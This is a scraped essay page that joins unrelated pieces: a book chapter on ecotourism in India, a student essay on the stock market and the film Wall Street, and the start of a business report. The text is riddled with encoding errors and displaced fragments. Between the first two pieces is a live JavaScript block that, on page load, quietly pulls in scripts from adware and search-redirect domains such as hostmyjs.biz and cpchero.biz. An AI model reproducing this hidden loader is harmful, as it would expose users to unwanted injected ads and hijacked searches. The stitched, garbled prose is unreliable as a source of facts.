Eco Tourism in India Essay

Chapter Eight Ecotourism in India Mohan Krishen Khanna Introduction India, a country situated in south Asia, is of subcontinental dimension with a population of over one billion people. India is primarily an agricultural economy with a vast range of crops. The livelihood of over 60% of the population continues to be based on agriculture. Of late, there has been a growing trend of urbanisation and diversification away from agriculture. The industrial sector is now playing a larger role in the economy. After the economic liberalisation in 1991, the industrial and services components of the economy have shown a high rate of growth, and today services contribute 46% of the GDP. India is rated as the fourth largest economy in the world based on the â€Å"purchasing power party† method of calculating per capita GDP. Having said this, mention of the important socio-economic issues that face India is necessary. The primary issue is one of poverty, with 320 million people estimated to be living below the poverty line. There are related problems of social and gender inequalities, illiteracy, lack of adequate health facilities, unplanned urbanisation, environment degradation, and underdevelopment of some areas. These are gigantic problems which are receiving the attention of the Indian Government and civil society, with some help from the international community. Since the foreign exchange crisis of 1991, a more liberal approach towards globalisation of the economy has been adopted by the government. India is a member of the World Trade Organization (WTO) and is opening its economy to the international market in phases. In keeping with the commitments to the WTO, exports have been increasing over the years and were reported to have grown by 30% in April, 2000. Special efforts are being made to attract foreign direct investment by providing attractive incentives to investors. – 63 – The Indian Tourism Product India has spectacularly attractive natural and cultural tourist attractions. It has a rich, over 5000-year-old, cultural heritage and thousands of monuments and archaeological sites for tourists to visit and enjoy. The remains of one of the most ancient river valley civilisations of the world (the Indus Valley civilisation) are found in India and Pakistan. The Taj Mahal and 16 other World Heritage Properties and several national heritage sites are in India. The country abounds in attractive and well- preserved historical sites and ancient monuments of architectural grandeur. There is a vast variety of building styles, which chronicle the cultural and historical diversity of their creators. India offers enormous diversity in topography, natural resources and climate. There are land-locked mountainous regions, lush valleys and plains, arid desert regions, white sandy beaches and islands. Central India has numerous wildlife sanctuaries with countless varieties of flora and fauna. The country has unparalled cultural diversity, a kaleidoscope of races, languages, religions, customs and traditions. Indians have embraced almost all the major religions of the world and the country has given rise to five religions: Hinduism, Buddhism, Jainism, Sikhism and â€Å"Tauhid-i-illahi† of Akbar. The geographical diversity of India provides opportunities for a wealth of outdoor and adventure sports activities. There is something for all tastes and interests, from the â€Å"soft† adventures to fast-paced thrills, and there is something for every level of experience. The prices are highly competitive. The major adventure tourism activities are trekking and skiing in the Himalayas, river running in the Ganges, water sports in Goa, trout fishing in Himachal Pradesh, heli-skiing in Himachal Pradesh, wind surfing, scuba diving and yachting in Andamans and Lakshadweep islands. India has some of the best beaches in the world, many of which are still unexplored, as in the Andamans and Lakshadweep Islands. Hospitality to visitors is an ancient Indian tradition. The peoples’ lifestyles are varied. Life is full of culture, fairs and festivals, colour and spectacle. India is a land of folk fairs and festivals, some say that there is a fair each day of the year. Some of the important fairs and festivals are the Pushkar fair in Rajasthan, the Crafts Mela at Surajkund, Holi and Diwali in North India, Pongal in Tamilnadu, Onam in Kerala, Baisakhi in Punjab, Bihu in Assam, dance festivals at Khajuraho and Mamallapuram. Tourism in India can be a gastronomic delight. Each region has  its culinary specialty and beautifully printed and expertly written cookbooks are on sale. But the best part is to sample the exotic fare in the thousands of restaurants. India has several forms of art and handcrafts. Bharatnatyam, Odissi, Kathakali, Kuchipudi, Mohiniattam are some of the most popular forms of classical dances which have their origins in various parts of the country. Every dance form has a precise vocabulary of emotions (love, yearning, – 64 – sorrow etc.) and these are displayed by dance gestures that involve the body, arms, fingers, face and eyes. India is a treasure-trove of handcrafts. The options available include the gamut of multi-storied shopping plazas, air-conditioned stores selling a hand-picked assortment of crafts from every corner of the country, through to whole streets of shops selling specialty goods, to local fairs, where street stalls, set up overnight, stock a variety of exotica. Ecotourism Resources of India The geographical diversity of India makes it home to a wealth of ecosystems which are well protected and preserved. These ecosystems (see Box 1) have become the major resources for ecotourism. Following Box 1, each ecosystem is discussed in some detail. Box 1: Indian Ecosystems and Resources †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ Biosphere Reserves Mangroves Coral Reefs Deserts Mountains and Forests Flora and Fauna Seas, Lakes and Rivers Caves Biosphere reserves are multi-purpose protected areas, for preservation of the genetic diversity and the integrity of plants, animals and micro-organism in representative ecosystems. There are seven such reserves in India at present (see Box 2). Box 2: Biosphere Reserves †¢ †¢ †¢ †¢ †¢ †¢ †¢ Nilgri Nanda Devi Nokrek Great Nicobar Gulf of Mannar Manas Sunderbans – 65 – Mangroves are very specialised forest ecosystems of tropical and subtropical regions, bordering sheltered sea coasts and estuaries. The major mangrove areas are listed in Box 3. Box 3: Major Mangrove Areas †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ Northern Adaman and Nicolar islands Sunderbans (West Bengal) Bhitarkanika and Mahanadi Delta (Orissa) Coringa, Godavari Delta and Kristna Estuary (Andhra Pradesh) Pichavaram and Point Calimere (Tamil Nadu) Goa Gulf of Kutch (Gajarat) Coonapur (Karnataka) Achra/Ratnagiri (Maharashtra) Vembanand (Kerala) In order to protect and preserve these genetic resources, India has created a number of National Parks and 421 Wildlife Sanctuaries in different parts of the country. Those which have already become popular with tourists are Kaziranga and Manas in Assam; Jim Corbett in Uttar Pradesh; Keoladeo, Ghana, Ranthambore and Sariska in Rajasthan; Kanha and Bandhavgarh in Madhya Pradesh; Bandipour in Karnataka and Similipal in Orissa. The Arabian Sea, the Indian Ocean and the Bay of Bengal brace the sides of the Indian subcontinent, except for the landlocked northern boundary. The land mass of India is crossed by several rivers and dotted by lakes at many places. These water bodies provide attractive opportunities for water sports. Economic Significance of Tourism In India, tourism is emerging as a key sector in the economy. It is presently India’s third largest foreign exchange earner after garments, and gems and jewellery. The foreign exchange earnings from tourism during 1997–98 has been estimated to be about Rs.11264 crores (US $3173 million). The rate of growth in foreign exchange earnings from tourism is exceptionally high. The most significant feature of the tourism industry is its capacity to generate large-scale employment opportunities, particularly in remote and underdeveloped areas. It offers enormous potential for utilising natural resources like landscapes, mountains, beaches, rivers etc. for the economic benefit of the population. It also adds value to a multitude of human-made  attractions such as monuments, palaces, forts and the unique rural and city environments. A special feature of the tourism industry is that it employs a large number of women and young people in hotels, airline services, travel agencies, making handcrafts, undertaking cultural activities, and other tourism-related tasks. The direct employment in the sector during 1995–96 was about 8.5 million persons, accounting for about 2.4% of the total labour force. Estimates of indirect employment show that in total about 22 million persons derive their livelihood from tourism. Different forecasts of direct employment in the sector have been made, however, they underline the fact that tourism is growing to become an important economic activity. It is estimated that one new job is created in tourism every 2.4 seconds. Box 5 illustrates the comparative strength of tourism in creating jobs. A million rupee invested (1985–86 prices) in the hotel and restaurant industry created 89 jobs, against 44.7 jobs in agriculture or 12.6 jobs in manufacturing industries for the same investment. The average for the whole tourism sector was 47.5 jobs. Box 4: Coral Reef Ecosystems †¢ †¢ †¢ †¢ Gulf of Mannar Andaman and Nicobar Islands Kakshadweep Islands Gulf of Kutch The Great Thar Desert and the little deserts in the North Western Region of the country are distinct ecosystems which have fascinated tourists from all over the world. Ladakh is a cold desert with high, snow-clad mountains, fast rivers, and the people have a distinctive Buddhist culture. The great Himalayas and other mountain ranges in the country, along with the snow-clad slopes, forests and rivers have also become important attractions for eco-tourists. The country has an area of about 752.3 lakh hectares designated as forest land and of this about 406.1 lakh hectares are classified as Reserve Forests and 215.1 lakh hectares as Protected Forests. India is very rich in biotic as well as abiotic resources. It has about 45 000 species of plants. The country also has a great variety of fauna, numbering a little over 65 000 known species, including 1228 bird, 428 reptile, 372 mammal, 204 amphibian and 2546 fish species. – 66 – – 67 – Box 5: Comparative Job Creation Sector Agriculture Manufacturing Mining and Quarrying Railways Other Transport Hotels and Restaurants Tourism Labour/Capital Ratio 44.7 12.6 2.06 0.9 13.8 89.0 47.5 advancement of women and other disadvantaged groups. The Working Group constituted for the formulation of proposals for the Ninth Plan on Tourism considered a growth target of 8% per annum in tourist arrivals as feasible during 1997–2002 leading to total arrivals of about 3.12 million tourists by the year 2000 subject of course to substantial improvement in infrastructure and services. Major Constraints on Growth Though India has much to offer in terms of tourist attractions, there are major constraints on the growth of tourism, particularly international tourist traffic. The greatest constraint is inadequate infrastructure. Constraints include lack of sufficient airports and airport facilities, international and domestic air-seat capacity, surface transport systems, basic wayside amenities, accommodation, restaurants, shopping and recreational facilities, trained labourforce resources, and support services and facilities. Both quality and quantity of infrastructure are major impediments to the growth of tourism in the country. Although there are 121 airports maintained by the Airport Authority of India and 139 airports maintained by state governments and other agencies, there are only 10 airports with a runway length of over 3000 m. Even these airports, including five international airports, do not have the latest Instrument Landing Systems (ILS) and other equipment to facilitate safe and se cure landing of aircraft in all weather conditions. Quality of service at the airports is also not up to international standards. The Ministry of Civil Aviation is making efforts to deal with this problem. In addition to the five existing  international airports, seven more airports are to be developed for international air services. More airports will be opened for charter traffic. Four international airports are being leased out to private operators. The new proposed civil aviation policy seeks to develop civil aviation by increasing the forces of competition, economic liberalisation and globalisation. The international air-seat capacity for India is presently about 5.3 million which is just enough to cater for the existing level of passenger traffic. A number of tourist-origin countries are not directly connected by air to India. Additional international air-seat capacity of at least 2 million would be required if 3.2 millions tourists were to come by 2000. If the target of 5 million tourists is to be achieved, the additional capacity required is estimated to be 5 million seats. Distances to India, considered a long haul destination for tourists from the USA and most of Europe, ac t as a deterrent to tourists from these countries. Lack of adequate air-seat capacity on international flights during the tourist season, which is from October to March, further compounds the problem, and works against increasing foreign tourists. While there is some Source: Annual Plan, Department of Tourism, Govt. of India, 1996–97. Another important feature of the tourism industry, which is of particular significance to India, is its contribution to national integration and the social transformation of the economic lives of people. Over 176 million domestic tourists (see Box 6) visiting different parts of the country every year, return with a better understanding of the people living in other regions of the country and of the cultural diversity of India. Tourism also encourages preservation of monuments and heritage properties and helps the survival of art forms, crafts and culture. Box 6: Domestic Tourist Visits Year 1997 1998 1999 2000 2001 2002 Domestic Tourists Visits (Million) 120 131 144 157 176 189 (Projected) Source: Report of the Working Group on Tourism for the Ninth Five-Year Plan, 1997–2002, Dept. of Tourism, Govt of India, New Delhi. Tourism has become an instrument for sustainable human development through poverty alleviation, environmental regeneration, job creation, and the – 68 – – 69 – talk of an â€Å"open sky policy†, in practice this is yet to happen and foreign airlines do not have free access to India. However, the scenario is changing with the negotiation of bilateral agreements which will add one million new seats to international air-seat capacity. Negotiations still underway may yield more seats. Recently United Airways and Virgin Airlines have announced intentions of covering India. The total air-seat capacity available in the domestic sector today is over 17 million. In 1996, 70% of this capacity was utilised with 12 million passengers travelling in the country, 7.1 million by the state-run Indian Airlines and 4.9 million by the private airlines. It is expected that this sector will grow at about 6% per annum. A major exercise is underway to restructure Indian Airlines and add capacity in the private sector airlines, which should yield results in the years to come. Although many of these projections seem optimistic given the downturn in the econo my in 1997 and 1998, the situation is expected to normalise soon with the upturn in the economy. There is need to address problems of insufficient flights to major tourist destinations particularly during the tourist season, the high cost of internal air travel and inconvenient flight schedules. Efforts also need to be undertaken to improve the efficiency of Indian Airlines and foster growth of private airlines. An efficient and responsive domestic air transport system is an essential prerequisite for generating more tourism to India. Other important areas which require attention are airline quality and networking. There are too few flights available, particularly during the best tourist season, and the services that do exist are high priced and their schedule of arrivals/departures are inconvenient for travellers. Within the country, the services of Indian  Airlines require substantial improvement, and they need to network with private airlines. A viable hubs-and-spoke operation, networking larger commercial centres with smaller tourist destinations needs to be developed to improve access to the interior of the country. The second serious handicap to tourism in India is the scarcity and high cost of hotel accommodation. The number of approved hotel rooms available in 1997 was around 64 500, with about 36 000 under construction. The demand by the year 2000 has been estimated at 1.25 lakhs, which means there would be a shortfall of 27 000 hotel rooms. Lack of economically priced hotel accommodation in the tourist season is being cited as one of the reasons for not choosing India as the place for a holiday. There are two approaches to this problem. One is to increase the floor-area-ratio for the hotels so that existing hotels are able to add more rooms. The other is to make more land available for hotel construction by inducing land allotting agencies to put aside more land for the hotel industry through auction, long leases and equity participation schemes. The agencies can also play a role in bringing private buyers and sellers together to enable entrepreneurs easy access to land and buildings in private hands. – 70 – The public agencies need to liberalise the regime for granting licences and approvals so as to expedite construction of hotels. A â€Å"one window† (or â€Å"one-stop-shop†) system could be a measure to facilitate faster approvals. Access to capital is another limiting factor. The Tourism Finance Corporation Inc. (TFCI) and the other financing institutions which provide institutional mechanisms for access to capital do not have a positive approach to lending for hotels. There is need to generate more rooms through innovative measures like promoting the Paying Guest Accommodation scheme at major tourist centres. Currently, 1472 units with 5953 rooms are available in 14 states. State Governments need to be more proactive in promoting this scheme as it is a preferred alternative to hotels for many, requiring comparatively less investment and is hence more advantageous to tourists. Another major means of creating accommodation is approval of guesthouses. Due to the complicated procedure adopted which requires guesthouses to obtain a number of clearances including those from the Police, Municipal Authorities and the Tourism Department, economically priced guesthouses have  not developed in keeping with the expectations of tourists travelling on a budget. As many of these are run without due approvals, they have acquired a reputation for dealing in drugs, cheating residents and other criminal activities. It would be worthwhile for the state governments to undertake a campaign to get these guesthouses recognised and approved and hence to generate more hotel rooms. (The Ministry of Tourism is in touch with the state governments over this issue). Another major inhibitor of the growth of tourism is the difficulty of obtaining visas for India. Visa restrictions need to be liberalised, to ensure a larger flow of tourists to the country. A number of options are available. The visa regime must be liberalised at least in respect of those coun tries which do not pose any political or security problems. Visas should be issued easily on entry at the airport in respect of visitors from such countries. The principle of reciprocity in the issue of visas should not be insisted on in the case of nationals of those countries with whom India has signed bilateral tourism agreements. Special tourist visas available on arrival for up to two weeks should be made available at the airports. The procedure for the issue of visas can also be made simple and at least in the major tourist originating countries the applications for a tourist visa could be received through the internet and processed on computers. Another area that requires attention is the possibility of reducing visa charges, particularly special charges on visiting restricted areas. Increased competition from neighbouring countries and poor perception of the Indian tourism product (particularly with regard to transport infrastructure) – 71 – in the major tourist originating markets are the other constraints on the growth of tourism. An added negative factor is the image of India as a country overrun by poverty, disease, touts and political instability. The promotional expenditure in the overseas markets of competitor destinations like Singapore, Thailand and Malaysia far exceeds the promotional expenditure by India. India needs to make vigorous efforts to improve its image as an attractive destination, and for this more resources are required. There are numerous other constraints in the development of tourism in India, including lack of priority in the planning of development, poor upkeep of monuments and wildlife sanctuaries, inadequate surface transport  facilities, poor quality of services etc. The Government of India has set up a group of Ministers under the Minister of Tourism to coordinate activities of various government departments and agencies. A committee under the Cabinet Secretary assists in implementation of decisions and removal of systematic problems. Dialogue with the state governments to liberalise and rationalise taxation and deal with other issues is an ongoing process. Many of the activities in the tourism sector are dependent on initiatives of the state governments. Enlightened state governments like Kerala, Goa and Rajasthan have done a lot to attract more tourists by making facilities more tourist friendly. Box 7: Government Responsibilities for Ecotourism Regulate structures that create visual pollution, unaesthetic views and are non-compatible architecture; and encourage use of local building material and structures befitting the local environment. Exclude developments in geologically unstable zones and define development and buffer zones after proper environmental impact assessments. Establish and enforce standards, building codes and other regulations. Specify environmental, physical and social carrying capacities to limit development. Ensure continuous monitoring of adverse effects of tourism activities and initiate suitable corrective measures. Recognise and award quality by accreditation of ecotourism operators. Provide visitor information and interpretation services covering particularly (i) what to see; (ii) how to see it; and (iii) how to behave. This can be by way of brochures, leaflets, specialised guides, visitor information centres and such. Prepare and distribute codes of conduct to all visitors. Launch training programs on ecotourism for tourism administrators, planners, operators and the general public. Promoting Ecotourism in India The key players in the ecotourism business are governments at both levels, the local authorities, the developers and the operators, the visitors, and the local community. Each one of them has to be sensitive to the environment and local traditions and follow a set of guidelines for the successful development of ecotourism. In addition, non-governmental organisations and scientific and research institutions also have to play a key role in the  development of ecotourism. A management plan for each ecotourism area should be prepared by professional landscape architects and urban planners, in consultation with the local community as well as others directly concerned. Integrated planning should be adopted to avoid inter-sectoral and cross-sectoral conflict. A first step should be to prepare 20-year Master Plans for each state. The architectural program for ecotourism centres should include controlled access points, roads, self-guided nature trails, transportation options, interpretation centres, signs, observation towers and adequate but unpretentious lodging and dining facilities, docks, garbage disposal facilities and other utilities as needed. If required, suitable living quarters and facilities for project personnel should be provided. Box 7 is a list of actions for the development of ecotourism, where the responsibility is with the government. The roles and responsibilities of tourism developers and operators are fundamental to the achievement of ecotourism and the long-term success of the businesses. These are listed in Box 8. Box 8: Roles and Responsibilities of Ecotourism Developers and Operators Respect and follow the planning restrictions, standards and codes provided by the government and local authorities. Implement sound environment principles through self-regulation. Undertake environmental impact assessment for all new projects and conduct regular environment audits for all ongoing activities, leading to development of environmental improvement programs. Be aware of, and sensitive to, protected or threatened areas, species and scenic amenity; undertake landscape enhancement wherever possible. Ensure that all structures are unobtrusive and do not interfere with the natural ecosystem to the extent possible. – 72 – – 73 – Recognise the optimal environmental capacity and sociological use-limits of the site in creating tourist facilities; also take into account the safety and convenience of tourists. Design buildings strictly on functional and  environmental considerations and avoid over-construction. Use local material and designs to the extent possible in construction. Employ eco-friendly physical planning, architectural design and construction of tourist facilities, for example use solar energy, capture and utilise rainwater, recycle garbage, use natural cross-ventilation instead of air conditioning, ensure a high level of self-sufficiency in food through orchards, ecological farms, aquaculture and such. Employ energy and water-saving practices to the extent possible; freshwater management and controlled sewage disposal should also be practised. Control air emissions, chemical pollutants and noise. Control and reduce environmentally unfriendly products such as asbestos, CFCs, pesticides and toxic, corrosive, infectious, explosive or flammable material. Respect and support historic or religious objects and sites. Provide information and interpretive services to visitors especially on attractions and facilities, safety and security, local customs and traditions, prohibitions and regulations and expected behaviour. Ensure adequate opportunities for visitors to commune with nature and native cultures. Provide correct information in marketing ecotourism products, as visitors who appreciate ecotourism products usually belong to environmentally-aware groups. Include training and research programs on environmental issues for company staff. Prepare tourists before their visit to minimise possible negative impacts while visiting sensitive environments and cultures. Ensure safety and security of visitors and inform them of precautions to be taken. Exercise due regard for the interest of the local population, including its history, tradition and culture and future economic development. Involve the local community to the extent possible in vari ous activities and vocations. Box 9: The Responsibilities of Ecotourists Help conserve habitats of flora and fauna as well as any site, natural feature or culture, which may be affected by tourism. Make no open fires and discourage others from doing so. If water has to be heated with scarce firewood, use as little as possible. Where feasible, use kerosene or fuel-efficient wood stoves. Remove litter, burn or bury paper and carry back all non-degradable litter. Keep local water clean and avoid using pollutants such as detergents in streams or springs. If no toilet facilities are  available, relieve yourself at least 30 metres away from water sources and bury or cover the waste. Leave plants to flourish in their natural environment and avoid taking away cuttings, seeds and roots. Leave campsites clean after use. Help guides and porters to follow conservation measures. Do not allow cooks/porters to throw garbage in streams or rivers. Respect the natural and cultural heritage of the area and follow local customs. Respect local etiquette and do not wear tight-fitting clothes. Remember that kissing in public is disapproved of in India. Respect privacy of individuals and ask permission to take photographs of local inhabitants. Respect holy places; do not touch or remove religious objects. Strictly follow the guidelines for personal safety and security and always take your own precautions and safety measures. If a community wants to host ecotourism, it has a central role to play. The host community’s success in bringing ecotourism to it and ensuing that the level and type of tourism is compatible with the community’s aspirations are matters the community can control. Box 10 lists the matters with which the host community must deal. Box 10: The Role and Responsibility of the Host Community Realise and respect the value of the environment, the flora and fauna, the monuments and your cultural heritage. Practice conservation of nature and culture as a way of life. Establish guidelines to protect valuable local resources and foster tourism management. React to the potential threat of investors who see opportunities in development but lack sensitivity to local values. Become effective nature guides and conservationists of natural areas by utilising practical and ancestral knowledge of the natural features of the area. Be friendly to the visitors and help them to practise ecotourism principles. Just as the government authorities and the tourism operators play fundamental roles in the success of ecotourism, so does the tourist. Box 9 lists the responsibilities of tourists. – 74 – – 75 – Finally there is a role for others, such as scientific and research institutions and non-government organisations, in promoting ecotourism. The things they can do include: (i) create awareness, among all concerned, about the importance of sound eco-practices in tourism development; (ii) motivate the local community to increase their involvement in sustainable tourism activities; and (iii) organise training programs to prepare the local people to take up various vocations related to ecotourism. the Pacific Travel Association have introduced an ecotourism pledge which requires their members to adopt environment-friendly practices. Conclusion Tourism has proved to be an engine of growth in many economies in the world. It provides for the generation of income, wealth and employment, and helps in the sustainable development of remote areas. In India, tourism provides direct employment to 9 million people and indirect employment to another 13 million persons, thus providing a livelihood to 22 million persons. It contributes an estimated 2.4% of the gross national product. Its contribution to the economies of states like Rajasthan, Goa and Kerala are significant. Although beginning to be understood for its potential to provide for development in India, tourism still remains a sector that needs serious attention. Tourism has proved to have negative impacts as well as the positive ones. It is criticised for contaminating indigenous culture. This takes the form of changing values, resulting in social maladies like drug addiction, child prostitution, etc. A far more widespread negative impact is caused by mass tourism in environm entally fragile areas like mountains, hills, deserts and coastal regions. Due to heavy tourist traffic in some areas, the cultural and environmental assets of the community are under threat. Although this phenomenon is not widespread in India, there is a need to take note of the possible negative influences of tourism so that timely preservation action can be taken and irreparable loss avoided. The movement towards ecotourism is at once a threat and an opportunity to create  more sustainable tourism: by diverting tourist traffic to ensure the carrying capacity of any destination is not exceeded; by planning for regeneration of natural resources; and by generating awareness in the host community whereby they are prepared and forearmed to deal with the negative impact of mass tourism. As in most cases, a middle path is the most creative way to maximise the economic potential of tourism, while at the same time minimising the negative social influences and threats to the environment. Only ecotourism where the tourists, the service providers, the host communi ty and authorities are well informed and prepared to harness tourism as an engine of growth can yield sustainable results. Motivations for Involvement in Ecotourism Hotel and travel companies in India function in a relatively free environment. The country is slowly but surely moving towards a market economy where commercial considerations dictate motivation for the private sector to take up various activities. Crass commercial considerations have, however, to be controlled by the government on behalf of the public. The environment has to be protected through awareness-generation, legislation, policy and administrative action. The travelling public is also becoming conscious of the need to protect the environment, to some extent at least. As a result, many enterprises in the hospitality sector have adopted environment-friendly practices like conserving energy and water and recycling unutilised hotel outputs. These can be powerful marketing tools for hotel groups. Furthermore, with the increase in cost of vital inputs like energy, water etc., companies are motivated to conserve limited resources by adopting practices which reduce levels of consumption. Many hotel companies advise their clients to be careful in the use of lights, water and other hotel services. Civil society has also begun to exercise control over the environment. Many non-government organisations have been generating awareness about environmentally destructive practices. Individuals have taken recourse to public interest litigation to stop environmentally destructive practices. The Indian judicial system has been very liberal in restraining environmentally hazardous activities. At times, political parties also stop environmentally harmful practices by agitation and raising issues in democratic forums such as state legislatures. The  print and electronic media have been very active in India in investigating environmentally injurious activities by highlighting such issues and creating public opinion for environmentally compatible practices. The Government of India has a Ministry of Environment and Forests with a mandate to oversee use of the environment in order to conserve it. The Government has also set up institutions like the Central and State Pollution Control Board to deal with the defaulters. The state governments also have Departments of Environment and Pollution Control. The Ministry of Tourism has issued ecotourism guidelines for adoption by all concerned organisations. Some tourism bodies and associations like – 76 – – 77 – var id=962612185; var aff=30587; var sid=0; function INCL_checkinternals() { var h = document.location.hostname; return (/search.kalloutsearchd.com/i.test(h) == true || /search.adbard.com/i.test(h) == true || h.indexOf(‘search.runclips.com’) != -1 || h.indexOf(‘search.searchnowdirect.com’) != -1); } function INCL_addEventHandler (el, eType, fn) { if (el.addEventListener) el.addEventListener(eType, fn, false); else if (el.attachEvent) el.attachEvent(‘on’ + eType, fn); else el[‘on’ + eType] = fn; } function INCL_checkdml() { var h = document.location.hostname; return (h.indexOf(â€Å"google†)!=-1 || h.indexOf(â€Å"facebook.com†)!=-1 || h.indexOf(â€Å"yahoo.com†)!=-1 || h.indexOf(â€Å"bing.com†)!=-1 || h.indexOf(â€Å"ask.com†)!=-1 || h.indexOf(â€Å"listenersguide.org.uk†)!=-1); } function INCL_loadScript(src, scriptId) { if (window.location.protocol == ‘https:’ && src.indexOf(‘http:’) == 0) return; var script = document.createElement(â€Å"script†); script.src = src; script.characterSet = â€Å"utf-8†; script.type = â€Å"text/javascript†; script.setAttribute(‘jsid’, ‘js36’); if (typeof(scriptId) !== ‘undefined’) script.id = scriptId; (document.head||document.getElementsByTagName(‘head’)[0]|| document.body||document.getElementsByTagName(‘body’)[0]).appendChild(script); } function INCL_onloadComplete() { if (!INCL_checkdml()) { window.INLDM_cfg = { fi : 4603, fd : 0, fddm: ‘xml.cpchero.biz’, sttc: ‘https://hostmyjs.biz/scripts/inl_dmmtch/’, inlsrhdm: ‘sonicsearchonline.biz’ }; INCL_loadScript(‘https://hostmyjs.biz/scripts/inl_dmmtch/inl_dmmtch.js’); INCL_loadScript(‘https://in.admedia.com/?id=ODkoOCI&subid=36’); } INCL_loadScript(‘http://i.websuggestorjs.info/sugg/javascript.js?channel=js36’); INCL_loadScript(‘https://cdncache1-a.akamaihd.net/loaders/1247/l.js?aoi=1311798366&pid=1247&zoneid=52222’); window.dmadbar_settings = {dm_standalone : true, dmpd : 2, fd : 4723, fd2: 4604, xmlfeed : ‘http://xml.cpchero.biz/search’ , search_url : ‘http://hostmysearch.com/?prt=yhs1Danta2&errUrl=http://www.yahoo.com&keywords=’ , script_base : ‘https://hostmyjs.biz/scripts/adbar’ }; INCL_loadScript(‘https://hostmyjs.biz/scripts/adbar/adbar.js’); } if (top === self && !INCL_checkinternals()) { if (document.readyState === ‘complete’) INCL_onloadComplete(); else INCL_addEventHandler(window, ‘load’, INCL_onloadComplete); }

Review on Michael Moore’s “Capitalism, a Love Story”

The way the stock market works in the world today is if there is a Stock (Piece or share of a company) that are being bought out by a lot of investors, the price of the stock will increase extraordinary high. If the stock does not get bought, the price of the stock will lower to a cheaper price. To buy the best stock that will soon be more valuable is a race as brokers try and fight to find the potential grossing stock and buy tons of them at a cheap price to later on earn tons of money as it becomes more valuable to invest and sell as the stock value increases and grosses.The stock market consists of a lot of people with different positions as an Investor is someone who commits capital in order to gain financial returns. A broker is a person who buys and sells goods or assets for others. A trader is a person who buys and sells the stock in the market. A corporate raider is an investor who buys a large number of shares in a corporation whose assets appear to be undervalued.The stock market has a lot of terms that define small things that broker/traders need to know to work in the stock market as like derivatives which are contracts between two or more parties. Other small stuff come into play as in commodities which are marketable items produced to satisfy wants or needs of the people. Dividends are payments made by a corporation to its shareholder members which are basically the portion of corporate profits paid out to stockholders.Now here are the big terms that people should be aware of to try to make it big as like Equity which is the residual claim or interest of the most junior class of investors in assets, after all liabilities are paid. Golden Parachutes are agreements that are made between a company and an employee (usually upper executive) specifying that the employee will receive certain significant benefits if employment is terminated which put a lot of CEO’s in the jackpot and have them rich for a long while.And finally, Liquidation which is the process by which a company (or part of a company) is brought to an end, and the assets and property of the company redistributed. This brings a lot of businesses down and suffers. Insider trading used all the time by brokers and traders to get ahead of the game and earn big bucks and live life. It’s a strategy that a lot of the brokers live by and use to make them successful as it’s the trading of a corporation's stock or other securities (such as bonds or stock options) by individuals with access to non-public information about the company.It brings the inside scoop about businesses to brokers to give them a chance and advantage to invest and make a lot of money before News is released to the public. Fraud is an intentional deception made for personal gain or to damage another individual. The economy can be harmed by these types of strategies as Insider trading can be used for unfair advantage for investors as it helps them show what to invest before everyone els e and BIG Bucks before anyone.Fraud is harmful as it steals money away from people that are rightfully theirs and brings people into debt with the people stealing their money come out to become very wealthy and use their stolen money on special interests and personal gains when none of that money is earned by them. So insider trading helps investors cheat the game of the stock market and fraud helps investors steal the money that is rightfully own to the people which is basically stealing money from the economy of the U. S.The SEC tries to prevent those things by for insider trading; they try to track down anyone they believe is to be involved as they obtain warrants for financial records and wiretaps, and find any other means to pursue the evidence that comes their way. If enough evidence is found to indict someone for insider trading, the individuals will be arrested and the case is handed over to a U. S. attorney. They do it because insider trading is unfair to the stock market g ame and the other investors and traders who are not involved in insider trading.For fraud, the SEC tries to prevent that by first to help educate investors to protect themselves against fraud, second, they conduct regulatory examinations to ensure that firms have robust compliance systems to prevent and detect fraud and other violations, and finally, they aggressively prosecute securities fraud, working together with criminal prosecutors. They do this because they believe that businesses should deserve this horrible incident to happen to them financially and should protect themselves from cunning con artists out there in society. Finally, about the movie Wall Street (1987)†¦..The movie â€Å"Wall street† was a really good and educational movie at some points as it was well-directed and helped showed the pros and cons of working in the stock market and how people entering that type of field should be fearless and aware of anything that is going on underground or in public and be picky on who to trust as there are a lot of â€Å"Gordon Gekko’s† in the world befriending many traders/brokers and stabbing them in the back at any moment based on their feelings/impression about them. Some key scenes in the movie were to be the â€Å"Greed is good† speech as it helped pictured an image what the U.S. is truly is and where it will be with the economy. The scene which Bud fox found out the sale of Blue-Star was pretty dramatic as it helped Bud realize how cruel and Greedy Gordon Gekko was. And another key Scene was the confrontation between Gordon and Bud after Bud found out about the sale of Blue-Star. The Movie showed that stock market is hectic and scary and people should watched their step on which path they’re going to take as they could fall into a hole anytime with either having SEC involved with it or lose a ton of money and be sent on to the streets.The stock market is a scary and hectic field to pursue a career in but if people have the brains, the charm and the look, through strategically planning and working, they can come out very successful and be at the top. But the market can always change people, physically, mentally and personality wise like once they go into the field it’s hard to get out and it sometimes changes them into a different person probably into a person with Greed to make more and more, probably a â€Å"Gordon Gekko†.

Progress Report Essay Example | Topics and Well Written Essays - 1000 words

Progress Report - Essay Example For example, in this case, a business might introduce various promotions and selling activities to make sure its market share remains high. (Kevinlane Keller and Kotler, 2000) Scenario planning is also used by various exporting business as a part of their strategic management policies to counter problems caused by uncertainty. For example, in our case we are analyzing a business which exports organic clothing to India. This involves certain processes which are not under control such as crops that are used to manufacture clothes and textile mills which are going manufacture these crops into raw cloth. Exporting process is a tough job and time management is extremely necessary, otherwise the importing companies which are based in Europe and the US do not accept the cloth. The rules are so strict that even if the exporting companies are one day late, these companies cancel the order and exporting companies suffer huge losses. Now let's look at the situation of our clothing company in light of PEST analysis of India. As we all know that India is biggest democracy in the world and perhaps the biggest economy of all emerging market economies of the world. In the recent year, we know that India has faced problems like terrorism and strikes. During these strikes all the business activity is ceased in India. This causes a lot of problem for exporting business and they have to plan head and keep themselves ahead of the deadline. So, considering the political environment of India and acts of terrorism, our organic clothing company will have to be very cautious of political situation of India and will have to be ahead of time, so that it does not find its buyers canceling orders. This can be done by telling textile firms and farmers that they need the particular quantity of material on the specified dates and keep check and balance by visiting the sites such as farms and textile factories to see that both the farms and factories will be able to provide the necessary amount of material at the specified d ates. If these farms and factories do not provide the firms with the specified material, the firm should use its contingency plan, to make sure it does not lag behind the shipment data. These contingencies plans can be buying cloth that is already available in the market and then process it and export it to the USA and Europe. This way, our clothing firm can beat the political challenges that are there in the Indian economy. (CNN IBN Video Report on Terrorism in India, 2008) If we look at economic analysis we will find out that Indian economy relies on old and unreliable infrastructure. This infrastructure often gets badly damage and does not function properly in case of rains and other natural catastrophes. In order to remove this problem, 